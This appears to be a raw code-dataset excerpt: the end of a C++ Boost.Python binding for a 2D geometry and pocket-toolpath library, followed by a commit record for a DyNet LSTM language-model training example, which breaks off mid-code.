FirstVertex(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.front();\r\n}\r\n\r\nstatic CVertex LastVertex(const CCurve& curve)\r\n{\r\n\treturn curve.m_vertices.back();\r\n}\r\n\r\nstatic void set_units(double units)\r\n{\r\n\tCArea::m_units = units;\r\n}\r\n\r\nstatic double get_units()\r\n{\r\n\treturn CArea::m_units;\r\n}\r\n\r\nstatic bool holes_linked()\r\n{\r\n\treturn CArea::HolesLinked();\r\n}\r\n\r\nstatic CArea AreaFromDxf(const char* filepath)\r\n{\r\n\tCArea area;\r\n\tAreaDxfRead dxf(&area, filepath);\r\n\tdxf.DoRead();\r\n\treturn area;\r\n}\r\n\r\nstatic void append_point(CCurve& c, const Point& p)\r\n{\r\n\tc.m_vertices.push_back(CVertex(p));\r\n}\r\n\r\nstatic boost::python::tuple nearest_point_to_curve(CCurve& c1, const CCurve& c2)\r\n{\r\n\tdouble dist;\r\n\tPoint p = c1.NearestPoint(c2, &dist);\r\n\r\n\treturn bp::make_tuple(p, dist);\r\n}\r\n\r\nboost::python::list MakePocketToolpath(const CArea& a, double tool_radius, double extra_offset, double stepover, bool from_center, bool use_zig_zag, double zig_angle)\r\n{\r\n\tstd::list<CCurve> toolpath;\r\n\r\n\tCAreaPocketParams params(tool_radius, extra_offset, stepover, from_center, use_zig_zag ? ZigZagPocketMode : SpiralPocketMode, zig_angle);\r\n\ta.SplitAndMakePocketToolpath(toolpath, params);\r\n\r\n\tboost::python::list clist;\r\n\tBOOST_FOREACH(const CCurve& c, toolpath) {\r\n\t\tclist.append(c);\r\n }\r\n\treturn clist;\r\n}\r\n\r\nboost::python::list SplitArea(const CArea& a)\r\n{\r\n\tstd::list<CArea> areas;\r\n\ta.Split(areas);\r\n\r\n\tboost::python::list alist;\r\n\tBOOST_FOREACH(const CArea& a, areas) {\r\n\t\talist.append(a);\r\n }\r\n\treturn alist;\r\n}\r\n\r\nvoid dxfArea(CArea& area, const char* str)\r\n{\r\n\tarea = CArea();\r\n}\r\n\r\nboost::python::list getCurveSpans(const CCurve& c)\r\n{\r\n\tboost::python::list span_list;\r\n\tconst Point *prev_p = NULL;\r\n\r\n\tfor(std::list<CVertex>::const_iterator VIt = c.m_vertices.begin(); VIt != c.m_vertices.end(); VIt++)\r\n\t{\r\n\t\tconst CVertex& vertex = *VIt;\r\n\r\n\t\tif(prev_p)\r\n\t\t{\r\n\t\t\tspan_list.append(Span(*prev_p, vertex));\r\n\t\t}\r\n\t\tprev_p = &(vertex.m_p);\r\n\t}\r\n\r\n\treturn span_list;\r\n}\r\n\r\nSpan getFirstCurveSpan(const CCurve& c)\r\n{\r\n\tif(c.m_vertices.size() < 2)return Span();\r\n\r\n\tstd::list<CVertex>::const_iterator VIt = c.m_vertices.begin();\r\n\tconst Point &p = (*VIt).m_p;\r\n\tVIt++;\r\n\treturn Span(p, *VIt, true);\r\n}\r\n\r\nSpan getLastCurveSpan(const CCurve& c)\r\n{\r\n\tif(c.m_vertices.size() < 2)return Span();\r\n\r\n\tstd::list<CVertex>::const_reverse_iterator VIt = c.m_vertices.rbegin();\r\n\tconst CVertex &v = (*VIt);\r\n\tVIt++;\r\n\r\n\treturn Span((*VIt).m_p, v, c.m_vertices.size() == 2);\r\n}\r\n\r\nbp::tuple TangentialArc(const Point &p0, const Point &p1, const Point &v0)\r\n{\r\n Point c;\r\n int dir;\r\n tangential_arc(p0, p1, v0, c, dir);\r\n\r\n return bp::make_tuple(c, dir);\r\n}\r\n\r\nboost::python::list spanIntersect(const Span& span1, const Span& span2) {\r\n\tboost::python::list plist;\r\n\tstd::list<Point> pts;\r\n\tspan1.Intersect(span2, pts);\r\n\tBOOST_FOREACH(const Point& p, pts) {\r\n\t\tplist.append(p);\r\n }\r\n\treturn plist;\r\n}\r\n\r\n\/\/Matrix(boost::python::list &l){}\r\n\r\nboost::shared_ptr<geoff_geometry::Matrix> matrix_constructor(const boost::python::list& lst) {\r\n\tdouble m[16] = {1,0,0,0,0,1,0,0, 0,0,1,0, 0,0,0,1};\r\n\r\n boost::python::ssize_t n = boost::python::len(lst);\r\n int j = 0;\r\n for(boost::python::ssize_t i=0;i<n;i++) {\r\n boost::python::object elem = lst[i];\r\n\tm[j] = boost::python::extract<double>(elem.attr(\"__float__\")());\r\n\tj++;\r\n\tif(j>=16)break;\r\n }\r\n\r\n return boost::shared_ptr<geoff_geometry::Matrix>( new geoff_geometry::Matrix(m) );\r\n}\r\n\r\nboost::python::list InsideCurves(const CArea& a, const CCurve& curve) {\r\n\tboost::python::list plist;\r\n\r\n\tstd::list<CCurve> curves_inside;\r\n\ta.InsideCurves(curve, curves_inside);\r\n\tBOOST_FOREACH(const CCurve& c, curves_inside) {\r\n\t\tplist.append(c);\r\n }\r\n\treturn plist;\r\n}\r\n\r\nBOOST_PYTHON_MODULE(area) {\r\n\tbp::class_<Point>(\"Point\") \r\n .def(bp::init<double, double>())\r\n .def(bp::init<Point>())\r\n .def(bp::other<double>() * bp::self)\r\n .def(bp::self * bp::other<double>())\r\n .def(bp::self \/ bp::other<double>())\r\n .def(bp::self * bp::other<Point>())\r\n .def(bp::self - bp::other<Point>())\r\n .def(bp::self + bp::other<Point>())\r\n .def(bp::self ^ bp::other<Point>())\r\n .def(bp::self == bp::other<Point>())\r\n .def(bp::self != bp::other<Point>())\r\n .def(-bp::self)\r\n .def(~bp::self)\r\n .def(\"dist\", &Point::dist)\r\n .def(\"length\", &Point::length)\r\n .def(\"normalize\", &Point::normalize)\r\n\t\t.def(\"Rotate\", static_cast< void (Point::*)(double, double) >(&Point::Rotate))\r\n\t\t.def(\"Rotate\", static_cast< void (Point::*)(double) >(&Point::Rotate))\r\n .def_readwrite(\"x\", &Point::x)\r\n .def_readwrite(\"y\", &Point::y)\r\n\t\t.def(\"Transform\", &Point::Transform)\r\n ;\r\n\r\n\tbp::class_<CVertex>(\"Vertex\") \r\n .def(bp::init<CVertex>())\r\n .def(bp::init<int, Point, Point>())\r\n .def(bp::init<Point>())\r\n .def(bp::init<int, Point, Point, int>())\r\n .def_readwrite(\"type\", &CVertex::m_type)\r\n .def_readwrite(\"p\", &CVertex::m_p)\r\n .def_readwrite(\"c\", &CVertex::m_c)\r\n .def_readwrite(\"user_data\", &CVertex::m_user_data)\r\n ;\r\n\r\n\tbp::class_<Span>(\"Span\") \r\n .def(bp::init<Span>())\r\n .def(bp::init<Point, CVertex, bool>())\r\n\t\t.def(\"NearestPoint\", static_cast< Point (Span::*)(const Point& p)const >(&Span::NearestPoint))\r\n\t\t.def(\"NearestPoint\", static_cast< Point (Span::*)(const Span& p, double *d)const >(&Span::NearestPoint))\r\n\t\t.def(\"GetBox\", &Span::GetBox)\r\n\t\t.def(\"IncludedAngle\", &Span::IncludedAngle)\r\n\t\t.def(\"GetArea\", &Span::GetArea)\r\n\t\t.def(\"On\", &Span::On)\r\n\t\t.def(\"MidPerim\", &Span::MidPerim)\r\n\t\t.def(\"MidParam\", &Span::MidParam)\r\n\t\t.def(\"Length\", &Span::Length)\r\n\t\t.def(\"GetVector\", &Span::GetVector)\r\n\t\t.def(\"Intersect\", &spanIntersect)\r\n .def_readwrite(\"p\", &Span::m_p)\r\n\t\t.def_readwrite(\"v\", &Span::m_v)\r\n ;\r\n\r\n\tbp::class_<CCurve>(\"Curve\") \r\n .def(bp::init<CCurve>())\r\n .def(\"getVertices\", &getVertices)\r\n .def(\"append\",&CCurve::append)\r\n .def(\"append\",&append_point)\r\n .def(\"text\", &print_curve)\r\n\t\t.def(\"NearestPoint\", static_cast< Point (CCurve::*)(const Point& p)const >(&CCurve::NearestPoint))\r\n\t\t.def(\"NearestPoint\", &nearest_point_to_curve)\r\n\t\t.def(\"Reverse\", &CCurve::Reverse)\r\n\t\t.def(\"getNumVertices\", &num_vertices)\r\n\t\t.def(\"FirstVertex\", &FirstVertex)\r\n\t\t.def(\"LastVertex\", &LastVertex)\r\n\t\t.def(\"GetArea\", &CCurve::GetArea)\r\n\t\t.def(\"IsClockwise\", &CCurve::IsClockwise)\r\n\t\t.def(\"IsClosed\", &CCurve::IsClosed)\r\n .def(\"ChangeStart\",&CCurve::ChangeStart)\r\n .def(\"ChangeEnd\",&CCurve::ChangeEnd)\r\n .def(\"Offset\",&CCurve::Offset)\r\n .def(\"OffsetForward\",&CCurve::OffsetForward)\r\n .def(\"GetSpans\",&getCurveSpans)\r\n .def(\"GetFirstSpan\",&getFirstCurveSpan)\r\n .def(\"GetLastSpan\",&getLastCurveSpan)\r\n .def(\"Break\",&CCurve::Break)\r\n .def(\"Perim\",&CCurve::Perim)\r\n .def(\"PerimToPoint\",&CCurve::PerimToPoint)\r\n .def(\"PointToPerim\",&CCurve::PointToPerim)\r\n\t\t.def(\"FitArcs\",&CCurve::FitArcs)\r\n .def(\"UnFitArcs\",&CCurve::UnFitArcs)\r\n ;\r\n\r\n\tbp::class_<CBox2D>(\"Box\") \r\n .def(bp::init<CBox2D>())\r\n\t\t.def(\"MinX\", &CBox2D::MinX)\r\n\t\t.def(\"MaxX\", &CBox2D::MaxX)\r\n\t\t.def(\"MinY\", &CBox2D::MinY)\r\n\t\t.def(\"MaxY\", &CBox2D::MaxY)\r\n ;\r\n\r\n\tbp::class_<CArea>(\"Area\") \r\n .def(bp::init<CArea>())\r\n .def(\"getCurves\", &getCurves)\r\n .def(\"append\",&CArea::append)\r\n .def(\"Subtract\",&CArea::Subtract)\r\n .def(\"Intersect\",&CArea::Intersect)\r\n .def(\"Union\",&CArea::Union)\r\n .def(\"Offset\",&CArea::Offset)\r\n .def(\"FitArcs\",&CArea::FitArcs)\r\n .def(\"text\", &print_area)\r\n\t\t.def(\"num_curves\", &CArea::num_curves)\r\n\t\t.def(\"NearestPoint\", &CArea::NearestPoint)\r\n\t\t.def(\"GetBox\", &CArea::GetBox)\r\n\t\t.def(\"Reorder\", &CArea::Reorder)\r\n\t\t.def(\"MakePocketToolpath\", &MakePocketToolpath)\r\n\t\t.def(\"Split\", &SplitArea)\r\n\t\t.def(\"InsideCurves\", &InsideCurves)\r\n\t\t.def(\"Thicken\"), &CArea::Thicken)\r\n ;\r\n\r\n\tbp::class_<geoff_geometry::Matrix, boost::shared_ptr<geoff_geometry::Matrix> > (\"Matrix\")\r\n .def(bp::init<geoff_geometry::Matrix>())\r\n\t .def(\"__init__\", bp::make_constructor(&matrix_constructor))\r\n\t .def(\"TransformedPoint\", &transformed_point)\r\n\t\t.def(\"Multiply\", &geoff_geometry::Matrix::Multiply)\r\n\t;\r\n\r\n bp::def(\"set_units\", set_units);\r\n bp::def(\"get_units\", get_units);\r\n bp::def(\"holes_linked\", holes_linked);\r\n bp::def(\"AreaFromDxf\", AreaFromDxf);\r\n bp::def(\"TangentialArc\", TangentialArc);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"dynet\/nodes.h\"\n#include \"dynet\/dynet.h\"\n#include \"dynet\/training.h\"\n#include \"dynet\/timing.h\"\n#include \"dynet\/rnn.h\"\n#include \"dynet\/gru.h\"\n#include \"dynet\/lstm.h\"\n#include \"dynet\/dict.h\"\n#include \"dynet\/expr.h\"\n#include \"dynet\/cfsm-builder.h\"\n#include \"dynet\/hsm-builder.h\"\n#include \"dynet\/globals.h\"\n#include \"dynet\/io.h\"\n#include \"..\/utils\/getpid.h\"\n#include \"..\/utils\/cl-args.h\"\n\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\nusing namespace std;\nusing namespace dynet;\n\nunsigned LAYERS = 0;\nunsigned INPUT_DIM = 0;\nunsigned HIDDEN_DIM = 0;\nunsigned VOCAB_SIZE = 0;\nfloat DROPOUT = 0;\nbool SAMPLE = false;\nSoftmaxBuilder* cfsm = nullptr;\n\ndynet::Dict d;\nint kSOS;\nint kEOS;\n\nvolatile bool INTERRUPTED = false;\n\n\ntemplate <class Builder>\nstruct RNNLanguageModel {\n LookupParameter p_c;\n Parameter p_R;\n Parameter p_bias;\n Builder builder;\n explicit RNNLanguageModel(ParameterCollection& model) : builder(LAYERS, INPUT_DIM, HIDDEN_DIM, model) {\n p_c = model.add_lookup_parameters(VOCAB_SIZE, {INPUT_DIM}); \n p_R = model.add_parameters({VOCAB_SIZE, HIDDEN_DIM});\n p_bias = model.add_parameters({VOCAB_SIZE});\n }\n\n \/\/ return Expression of total loss\n Expression BuildLMGraph(const vector<int>& sent, ComputationGraph& cg, bool apply_dropout) {\n const unsigned slen = sent.size();\n if (apply_dropout) {\n builder.set_dropout(DROPOUT);\n } else {\n builder.disable_dropout();\n }\n builder.new_graph(cg); \/\/ reset RNN builder for new graph\n builder.start_new_sequence();\n if (cfsm) cfsm->new_graph(cg);\n Expression R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n Expression bias = parameter(cg, p_bias); \/\/ word bias\n vector<Expression> errs(slen + 1);\n Expression h_t = builder.add_input(lookup(cg, p_c, kSOS)); \/\/ read <s>\n for (unsigned t = 0; t < slen; ++t) { \/\/ h_t = RNN(x_0,...,x_t)\n if (cfsm) { \/\/ class-factored softmax\n errs[t] = cfsm->neg_log_softmax(h_t, sent[t]);\n } else { \/\/ regular softmax\n Expression u_t = affine_transform({bias, R, h_t});\n errs[t] = pickneglogsoftmax(u_t, sent[t]);\n }\n Expression x_t = lookup(cg, p_c, sent[t]);\n h_t = builder.add_input(x_t);\n }\n \/\/ it reamins to deal predict <\/s>\n if (cfsm) {\n errs.back() = cfsm->neg_log_softmax(h_t, kEOS);\n } else {\n Expression u_last = affine_transform({bias, R, h_t});\n errs.back() = pickneglogsoftmax(u_last, kEOS); \/\/ predict <\/s>\n }\n return sum(errs);\n }\n\n void RandomSample(int max_len = 200) {\n ComputationGraph cg;\n builder.new_graph(cg); \/\/ reset RNN builder for new graph\n builder.start_new_sequence();\n if (cfsm) cfsm->new_graph(cg);\n Expression R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n Expression bias = parameter(cg, p_bias); \/\/ word bias\n Expression h_t = builder.add_input(lookup(cg, p_c, kSOS)); \/\/ read <s>\n int cur = kSOS;\n int len = 0;\n while (len < max_len) {\n if (cfsm) { \/\/ class-factored softmax\n cur = cfsm->sample(h_t);\n } else { \/\/ regular softmax\n Expression u_t = affine_transform({bias, R, h_t});\n Expression dist_expr = softmax(u_t);\n auto dist = as_vector(cg.incremental_forward(dist_expr));\n double p = rand01();\n cur = 0;\n for (; cur < dist.size(); ++cur) {\n p -= dist[cur];\n if (p < 0.0) { break; }\n }\n if (cur == dist.size()) cur = kEOS;\n }\n if (cur == kEOS) break;\n ++len;\n cerr << (len == 1 ? \"\" : \" \") << d.convert(cur);\n Expression x_t = lookup(cg, p_c, cur);\n h_t = builder.add_input(x_t);\n }\n cerr << endl;\n }\n};\n\n\nvoid inline read_fields(string line, vector<string>& fields, string delimiter = \"|||\") {\n string field;\n int start = 0, end = 0, delim_size = delimiter.size();\n while (true) {\n end = line.find(delimiter, start);\n fields.push_back(line.substr(start, end - start));\n if (end == std::string::npos) break;\n start = end + delim_size;\n }\n}\n\n\nint main(int argc, char** argv) {\n cerr << \"COMMAND LINE:\";\n for (unsigned i = 0; i < static_cast<unsigned>(argc); ++i) cerr << ' ' << argv[i];\n cerr << endl;\n\n \/\/ Fetch dynet params ----------------------------------------------------------------------------\n auto dyparams = dynet::extract_dynet_params(argc, argv);\n dynet::initialize(dyparams);\n\n \/\/ Fetch program specific parameters (see ..\/utils\/cl-args.h) ------------------------------------\n Params params;\n\n get_args(argc, argv, params, TRAIN);\n\n kSOS = d.convert(\"<s>\");\n kEOS = d.convert(\"<\/s>\");\n LAYERS = params.LAYERS;\n INPUT_DIM = params.INPUT_DIM;\n HIDDEN_DIM = params.HIDDEN_DIM;\n SAMPLE = params.sample;\n if (params.dropout_rate)\n DROPOUT = params.dropout_rate;\n Model model;\n if (params.clusters_file != \"\")\n cfsm = new ClassFactoredSoftmaxBuilder(HIDDEN_DIM, params.clusters_file, d, model);\n else if (params.paths_file != \"\")\n cfsm = new HierarchicalSoftmaxBuilder(HIDDEN_DIM, params.paths_file, d, model);\n float eta_decay_rate = params.eta_decay_rate;\n unsigned eta_decay_onset_epoch = params.eta_decay_onset_epoch;\n vector<vector<int>> training, dev, test;\n string line;\n int tlc = 0;\n int ttoks = 0;\n {\n string trainf = params.train_file;\n cerr << \"Reading training data from \" << trainf << \" ...\\n\";\n ifstream in(trainf);\n assert(in);\n while (getline(in, line)) {\n ++tlc;\n training.push_back(read_sentence(line, d));\n ttoks += training.back().size();\n if (training.back().front() == kSOS || training.back().back() == kEOS) {\n cerr << \"Training sentence in \" << argv[1] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n cerr << tlc << \" lines, \" << ttoks << \" tokens, \" << d.size() << \" types\\n\";\n }\n d.freeze(); \/\/ no new word types allowed\n d.set_unk(\"<unk>\");\n VOCAB_SIZE = d.size();\n if (!cfsm)\n cfsm = new StandardSoftmaxBuilder(HIDDEN_DIM, VOCAB_SIZE, model);\n\n if (params.test_file != \"\") {\n string testf = params.test_file;\n cerr << \"Reading test data from \" << testf << \" ...\\n\";\n ifstream in(testf);\n assert(in);\n while (getline(in, line)) {\n test.push_back(read_sentence(line, d));\n if (test.back().front() == kSOS || test.back().back() == kEOS) {\n cerr << \"Test sentence in \" << argv[2] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n }\n\n Trainer* sgd = new SimpleSGDTrainer(model);\n sgd->eta0 = sgd->eta = params.eta0;\n RNNLanguageModel<LSTMBuilder> lm(model);\n\n bool has_model_to_load = params.model_file != \"\";\n if (has_model_to_load) {\n string fname = params.model_file;\n cerr << \"Reading parameters from \" << fname << \"...\\n\";\n TextFileSaver saver(fname);\n saver.save(model);\n }\n\n bool TRAIN = (params.train_file != \"\");\n\n if (TRAIN) {\n int dlc = 0;\n int dtoks = 0;\n if (params.dev_file == \"\") {\n cerr << \"You must specify a development set (--dev file.txt) with --train\" << endl;\n abort();\n } else {\n string devf = params.dev_file;\n cerr << \"Reading dev data from \" << devf << \" ...\\n\";\n ifstream in(devf);\n assert(in);\n while (getline(in, line)) {\n ++dlc;\n dev.push_back(read_sentence(line, d));\n dtoks += dev.back().size();\n if (dev.back().front() == kSOS || dev.back().back() == kEOS) {\n cerr << \"Dev sentence in \" << argv[2] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n cerr << dlc << \" lines, \" << dtoks << \" tokens\\n\";\n }\n ostringstream os;\n os << \"lm\"\n << '_' << DROPOUT\n << '_' << LAYERS\n << '_' << INPUT_DIM\n << '_' << HIDDEN_DIM\n << \"-pid\" << getpid() << \".params\";\n const string fname = os.str();\n cerr << \"Parameters will be written to: \" << fname << endl;\n double best = 9e+99;\n unsigned report_every_i = 100;\n unsigned dev_every_i_reports = 25;\n unsigned si = training.size();\n if (report_every_i > si) report_every_i = si;\n vector<unsigned> order(training.size());\n for (unsigned i = 0; i < order.size(); ++i) order[i] = i;\n bool first = true;\n int report = 0;\n double lines = 0;\n int completed_epoch = -1;\n while (!INTERRUPTED) {\n if (SAMPLE) lm.RandomSample();\n Timer iteration(\"completed in\");\n double loss = 0;\n unsigned chars = 0;\n for (unsigned i = 0; i < report_every_i; ++i) {\n if (si == training.size()) {\n si = 0;\n if (first) { first = false; } else { sgd->update_epoch(); }\n cerr << \"**SHUFFLE\\n\";\n completed_epoch++;\n if (eta_decay_onset_epoch && completed_epoch >= (int)eta_decay_onset_epoch)\n sgd->eta *= eta_decay_rate;\n shuffle(order.begin(), order.end(), *rndeng);\n }\n\n \/\/ build graph for this instance\n ComputationGraph cg;\n auto& sent = training[order[si]];\n chars += sent.size();\n ++si;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, DROPOUT > 0.f);\n loss += as_scalar(cg.forward(loss_expr));\n cg.backward(loss_expr);\n sgd->update();\n ++lines;\n }\n report++;\n cerr << '#' << report << \" [epoch=\" << (lines \/ training.size()) << \" eta=\" << sgd->eta << \"] E = \" << (loss \/ chars) << \" ppl=\" << exp(loss \/ chars) << ' ';\n\n \/\/ show score on dev data?\n if (report % dev_every_i_reports == 0) {\n double dloss = 0;\n int dchars = 0;\n for (auto& sent : dev) {\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, false);\n dloss += as_scalar(cg.forward(loss_expr));\n dchars += sent.size();\n }\n if (dloss < best) {\n best = dloss;\n TextFileSaver saver(fname);\n saver.save(model);\n }\n cerr << \"\\n***DEV [epoch=\" << (lines \/ training.size()) << \"] E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n }\n }\n } \/\/ train?\n if (params.test_file != \"\") {\n cerr << \"Evaluating test data...\\n\";\n double tloss = 0;\n int tchars = 0;\n for (auto& sent : test) {\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(sent, cg, false);\n tloss += as_scalar(cg.forward(loss_expr));\n tchars += sent.size();\n }\n cerr << \"TEST -LLH = \" << tloss << endl;\n cerr << \"TEST CROSS ENTOPY (NATS) = \" << (tloss \/ tchars) << endl;\n cerr << \"TEST PPL = \" << exp(tloss \/ tchars) << endl;\n }\n\n \/\/ N-best scoring\n if (params.nbest_file != \"\") {\n \/\/ cdec: index ||| hypothesis ||| feature=val ... ||| ...\n \/\/ Moses: index ||| hypothesis ||| feature= val(s) ... ||| ...\n const int HYP_FIELD = 1;\n const int FEAT_FIELD = 2;\n const string FEAT_NAME = \"RNNLM\";\n \/\/ Input\n string nbestf = params.nbest_file;\n cerr << \"Scoring N-best list \" << nbestf << \" ...\" << endl;\n shared_ptr<istream> in;\n if (nbestf == \"-\") {\n in.reset(&cin, [](...) {});\n } else {\n in.reset(new ifstream(nbestf));\n }\n \/\/ Match spacing of input file\n string sep = \"=\";\n bool sep_detected = false;\n \/\/ Input lines\n while (getline(*in, line)) {\n vector<string> fields;\n read_fields(line, fields);\n \/\/ Check sep if needed\n if (!sep_detected) {\n sep_detected = true;\n int i = fields[FEAT_FIELD].find(\"=\");\n if (fields[FEAT_FIELD].substr(i + 1, 1) == \" \") {\n sep = \"= \";\n }\n }\n \/\/ Score hypothesis\n ComputationGraph cg;\n Expression loss_expr = lm.BuildLMGraph(read_sentence(fields[HYP_FIELD], d), cg, false);\n double loss = as_scalar(cg.forward(loss_expr));\n \/\/ Add score\n ostringstream os;\n os << fields[FEAT_FIELD] << \" \" << FEAT_NAME << sep << loss;\n fields[FEAT_FIELD] = os.str();\n \/\/ Write augmented line\n for (unsigned f = 0; f < fields.size(); ++f) {\n if (f > 0)\n cout << \" ||| \";\n cout << fields[f];\n }\n cout << endl;\n }\n }\n\n delete sgd;\n}\n<commit_msg>Fixed compile error in example<commit_after>#include \"dynet\/nodes.h\"\n#include \"dynet\/dynet.h\"\n#include \"dynet\/training.h\"\n#include \"dynet\/timing.h\"\n#include \"dynet\/rnn.h\"\n#include \"dynet\/gru.h\"\n#include \"dynet\/lstm.h\"\n#include \"dynet\/dict.h\"\n#include \"dynet\/expr.h\"\n#include \"dynet\/cfsm-builder.h\"\n#include \"dynet\/hsm-builder.h\"\n#include \"dynet\/globals.h\"\n#include \"dynet\/io.h\"\n#include \"..\/utils\/getpid.h\"\n#include \"..\/utils\/cl-args.h\"\n\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <memory>\n\nusing namespace std;\nusing namespace dynet;\n\nunsigned LAYERS = 0;\nunsigned INPUT_DIM = 0;\nunsigned HIDDEN_DIM = 0;\nunsigned VOCAB_SIZE = 0;\nfloat DROPOUT = 0;\nbool SAMPLE = false;\nSoftmaxBuilder* cfsm = nullptr;\n\ndynet::Dict d;\nint kSOS;\nint kEOS;\n\nvolatile bool INTERRUPTED = false;\n\n\ntemplate <class Builder>\nstruct RNNLanguageModel {\n LookupParameter p_c;\n Parameter p_R;\n Parameter p_bias;\n Builder builder;\n explicit RNNLanguageModel(ParameterCollection& model) : builder(LAYERS, INPUT_DIM, HIDDEN_DIM, model) {\n p_c = model.add_lookup_parameters(VOCAB_SIZE, {INPUT_DIM}); \n p_R = model.add_parameters({VOCAB_SIZE, HIDDEN_DIM});\n p_bias = model.add_parameters({VOCAB_SIZE});\n }\n\n \/\/ return Expression of total loss\n Expression BuildLMGraph(const vector<int>& sent, ComputationGraph& cg, bool apply_dropout) {\n const unsigned slen = sent.size();\n if (apply_dropout) {\n builder.set_dropout(DROPOUT);\n } else {\n builder.disable_dropout();\n }\n builder.new_graph(cg); \/\/ reset RNN builder for new graph\n builder.start_new_sequence();\n if (cfsm) cfsm->new_graph(cg);\n Expression R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n Expression bias = parameter(cg, p_bias); \/\/ word bias\n vector<Expression> errs(slen + 1);\n Expression h_t = builder.add_input(lookup(cg, p_c, kSOS)); \/\/ read <s>\n for (unsigned t = 0; t < slen; ++t) { \/\/ h_t = RNN(x_0,...,x_t)\n if (cfsm) { \/\/ class-factored softmax\n errs[t] = cfsm->neg_log_softmax(h_t, sent[t]);\n } else { \/\/ regular softmax\n Expression u_t = affine_transform({bias, R, h_t});\n errs[t] = pickneglogsoftmax(u_t, sent[t]);\n }\n Expression x_t = lookup(cg, p_c, sent[t]);\n h_t = builder.add_input(x_t);\n }\n \/\/ it reamins to deal predict <\/s>\n if (cfsm) {\n errs.back() = cfsm->neg_log_softmax(h_t, kEOS);\n } else {\n Expression u_last = affine_transform({bias, R, h_t});\n errs.back() = pickneglogsoftmax(u_last, kEOS); \/\/ predict <\/s>\n }\n return sum(errs);\n }\n\n void RandomSample(int max_len = 200) {\n ComputationGraph cg;\n builder.new_graph(cg); \/\/ reset RNN builder for new graph\n builder.start_new_sequence();\n if (cfsm) cfsm->new_graph(cg);\n Expression R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n Expression bias = parameter(cg, p_bias); \/\/ word bias\n Expression h_t = builder.add_input(lookup(cg, p_c, kSOS)); \/\/ read <s>\n int cur = kSOS;\n int len = 0;\n while (len < max_len) {\n if (cfsm) { \/\/ class-factored softmax\n cur = cfsm->sample(h_t);\n } else { \/\/ regular softmax\n Expression u_t = affine_transform({bias, R, h_t});\n Expression dist_expr = softmax(u_t);\n auto dist = as_vector(cg.incremental_forward(dist_expr));\n double p = rand01();\n cur = 0;\n for (; cur < dist.size(); ++cur) {\n p -= dist[cur];\n if (p < 0.0) { break; }\n }\n if (cur == dist.size()) cur = kEOS;\n }\n if (cur == kEOS) break;\n ++len;\n cerr << (len == 1 ? \"\" : \" \") << d.convert(cur);\n Expression x_t = lookup(cg, p_c, cur);\n h_t = builder.add_input(x_t);\n }\n cerr << endl;\n }\n};\n\n\nvoid inline read_fields(string line, vector<string>& fields, string delimiter = \"|||\") {\n string field;\n int start = 0, end = 0, delim_size = delimiter.size();\n while (true) {\n end = line.find(delimiter, start);\n fields.push_back(line.substr(start, end - start));\n if (end == (int)std::string::npos) break;\n start = end + delim_size;\n }\n}\n\n\nint main(int argc, char** argv) {\n cerr << \"COMMAND LINE:\";\n for (unsigned i = 0; i < static_cast<unsigned>(argc); ++i) cerr << ' ' << argv[i];\n cerr << endl;\n\n \/\/ Fetch dynet params ----------------------------------------------------------------------------\n auto dyparams = dynet::extract_dynet_params(argc, argv);\n dynet::initialize(dyparams);\n\n \/\/ Fetch program specific parameters (see ..\/utils\/cl-args.h) ------------------------------------\n Params params;\n\n get_args(argc, argv, params, TRAIN);\n\n kSOS = d.convert(\"<s>\");\n kEOS = d.convert(\"<\/s>\");\n LAYERS = params.LAYERS;\n INPUT_DIM = params.INPUT_DIM;\n HIDDEN_DIM = params.HIDDEN_DIM;\n SAMPLE = params.sample;\n if (params.dropout_rate)\n DROPOUT = params.dropout_rate;\n Model model;\n if (params.clusters_file != \"\")\n cfsm = new ClassFactoredSoftmaxBuilder(HIDDEN_DIM, params.clusters_file, d, model);\n else if (params.paths_file != \"\")\n cfsm = new HierarchicalSoftmaxBuilder(HIDDEN_DIM, params.paths_file, d, model);\n float eta_decay_rate = params.eta_decay_rate;\n unsigned eta_decay_onset_epoch = params.eta_decay_onset_epoch;\n vector<vector<int>> training, dev, test;\n string line;\n int tlc = 0;\n int ttoks = 0;\n {\n string trainf = params.train_file;\n cerr << \"Reading training data from \" << trainf << \" ...\\n\";\n ifstream in(trainf);\n assert(in);\n while (getline(in, line)) {\n ++tlc;\n training.push_back(read_sentence(line, d));\n ttoks += training.back().size();\n if (training.back().front() == kSOS || training.back().back() == kEOS) {\n cerr << \"Training sentence in \" << argv[1] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n cerr << tlc << \" lines, \" << ttoks << \" tokens, \" << d.size() << \" types\\n\";\n }\n d.freeze(); \/\/ no new word types allowed\n d.set_unk(\"<unk>\");\n VOCAB_SIZE = d.size();\n if (!cfsm)\n cfsm = new StandardSoftmaxBuilder(HIDDEN_DIM, VOCAB_SIZE, model);\n\n if (params.test_file != \"\") {\n string testf = params.test_file;\n cerr << \"Reading test data from \" << testf << \" ...\\n\";\n ifstream in(testf);\n assert(in);\n while (getline(in, line)) {\n test.push_back(read_sentence(line, d));\n if (test.back().front() == kSOS || test.back().back() == kEOS) {\n cerr << \"Test sentence in \" << argv[2] << \":\" << tlc << \" started with <s> or ended with <\/s>\\n\";\n abort();\n }\n }\n }\n\n Trainer* sgd = new SimpleSGDTrainer(model);\n sgd->eta0 = sgd->eta = params.eta0;\n RNNLanguageModel<LSTMBuilder> lm(model);\n\n bool has_model_to_load = params.model_file != \"\";\n if (has_model_to_load) {\n string fname = params.model_file;\n cerr << \"Reading parameters from \" << fname << \"...\\n\";\n TextFileSaver saver(fname);\n saver.save(model);\n }\n\n bool TRAIN = (params.train_file != \"\");\n\n if (TRAIN) {\n int dlc = 